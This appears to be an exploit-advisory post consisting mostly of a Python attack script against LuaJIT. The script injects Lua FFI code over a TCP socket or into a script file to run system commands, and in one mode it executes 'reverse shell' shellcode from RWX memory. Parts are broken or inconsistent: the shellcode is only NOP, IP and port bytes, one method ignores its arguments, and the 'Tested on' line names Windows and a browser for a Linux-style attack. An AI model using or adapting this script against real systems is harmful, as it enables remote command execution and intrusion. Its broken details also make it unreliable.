📄 LuaJIT 2.1.1774638290 FFI Remote Code Execution / Lua Injection

==================================================================================================================================
    | # Title     : LuaJIT 2.1.1774638290 FFI Remote Code Execution Exploit via Socket-Based Lua Injection                           |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://luajit.org/download.html                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This script is a LuaJIT exploitation tool that attempts to abuse the LuaJIT FFI (Foreign Function Interface) to execute system commands or arbitrary shellcode on a remote Lua runtime exposed over a TCP socket. 
                     It connects to a target service, injects Lua code dynamically, and leverages unsafe FFI bindings such as system() and mmap() to achieve remote code execution (RCE). 
                     In advanced mode, it attempts to allocate executable memory and run shellcode for a reverse shell.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import socket
    import sys
    import re
    import time
    import struct
    from typing import Optional, Tuple
    
    class LuaJITExploit:
        def __init__(self, host: str, port: int, target_lua_script_path: Optional[str] = None):
            self.host = host
            self.port = port
            self.target_lua_script_path = target_lua_script_path
            self.socket = None
            
        def connect(self) -> bool:
            try:
                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket.connect((self.host, self.port))
                print(f"[+] Connected to {self.host}:{self.port}")
                return True
            except Exception as e:
                print(f"[-] Connection failed: {e}")
                return False
        
        def send_lua_code(self, lua_code: str) -> Optional[str]:
            if not self.socket:
                return None
                
            try:
                self.socket.send(lua_code.encode() + b'\n')
                response = self.socket.recv(4096)
                if not response:
                    return None
                return response.decode(errors="ignore")
            except Exception as e:
                print(f"[-] Failed to send Lua code: {e}")
                return None
        
        def generate_lua_payload(self, command: str = "id", execute_shellcode: bool = False) -> str:
            lua_code = f'''
    -- LuaJIT FFI Exploit Payload
    local ffi = require("ffi")
    
    ffi.cdef[[
        int getpid(void);
        long syscall(long number, ...);
        int system(const char *command);
        void *mmap(void *addr, size_t length, int prot, int flags, int fd, long offset);
        int mprotect(void *addr, size_t len, int prot);
        void *memcpy(void *dest, const void *src, size_t n);
    ]]
    
    print("[*] Testing FFI access...")
    local pid = ffi.C.getpid()
    print("[+] getpid() success: " .. pid)
    
    print("[*] Executing command: {command}")
    ffi.C.system("{command}")
    '''
    
            if execute_shellcode:
                reverse_shellcode = self.generate_reverse_shellcode()
                
                lua_code += f'''
    print("[*] Attempting shellcode execution...")
    
    local PROT_READ = 0x1
    local PROT_WRITE = 0x2
    local PROT_EXEC = 0x4
    local PROT_RWX = bit.bor(PROT_READ, PROT_WRITE, PROT_EXEC)
    
    local MAP_ANONYMOUS = 0x20
    local MAP_PRIVATE = 0x02
    
    local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_ANONYMOUS + MAP_PRIVATE, -1, 0)
    
    if mem ~= nil and tonumber(ffi.cast("intptr_t", mem)) > 0 then
        print("[+] RWX memory allocated")
        
        local shellcode = "{reverse_shellcode}"
        
        ffi.C.memcpy(mem, shellcode, #shellcode)
        
        local fn = ffi.cast("void(*)(void)", mem)
        fn()
    else
        print("[-] mmap failed")
    end
    '''
            return lua_code
        
        def generate_reverse_shellcode(self, ip: str = "127.0.0.1", port: int = 4444) -> str:
            ip_parts = ip.split(".")
            ip_hex = "".join([f"\\x{int(x):02x}" for x in ip_parts])
            port_hex = f"\\x{port & 0xff:02x}\\x{(port >> 8) & 0xff:02x}"
            
            shellcode = f"\\x90\\x90\\x90" + ip_hex + port_hex
            return shellcode
        
        def exploit_ffi_system(self, command: str = "id") -> bool:
            print(f"[*] Exploiting FFI to execute: {command}")
            
            lua_payload = self.generate_lua_payload(command, False)
            
            if self.target_lua_script_path:
                try:
                    with open(self.target_lua_script_path, 'a') as f:
                        f.write("\n" + lua_payload)
                    print("[+] Payload injected successfully")
                    return True
                except Exception as e:
                    print(f"[-] Failed to inject payload: {e}")
                    return False
            else:
                if self.connect():
                    response = self.send_lua_code(lua_payload)
                    if response is not None:
                        print(f"[+] Response:\n{response}")
                        return True
                    return False
                return False
        
        def exploit_shellcode(self, ip: str = "127.0.0.1", port: int = 4444) -> bool:
            print(f"[*] Attempting reverse shell to {ip}:{port}")
            
            lua_payload = self.generate_lua_payload("", True)
            
            if self.target_lua_script_path:
                try:
                    with open(self.target_lua_script_path, 'a') as f:
                        f.write("\n" + lua_payload)
                    print("[+] Reverse shell payload injected")
                    return True
                except Exception as e:
                    print(f"[-] Failed to inject payload: {e}")
                    return False
            else:
                if self.connect():
                    response = self.send_lua_code(lua_payload)
                    if response is not None:
                        print("[+] Payload sent")
                        return True
                    return False
                return False
        
        def cleanup(self):
            if self.socket:
                self.socket.close()
                print("[*] Connection closed")
    
    
    def main():
        if len(sys.argv) < 4:
            print("Usage: python3 luajit_exploit.py <host> <port> <command>")
            sys.exit(1)
        
        host = sys.argv[1]
        port = int(sys.argv[2])
        command = sys.argv[3]
        
        reverse_shell = "--reverse-shell" in sys.argv
        
        exploit = LuaJITExploit(host, port)
        
        print("=" * 60)
        print("LuaJIT Exploit")
        print("=" * 60)
        
        if reverse_shell:
            exploit.exploit_shellcode()
        else:
            exploit.exploit_ffi_system(command)
        
        exploit.cleanup()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================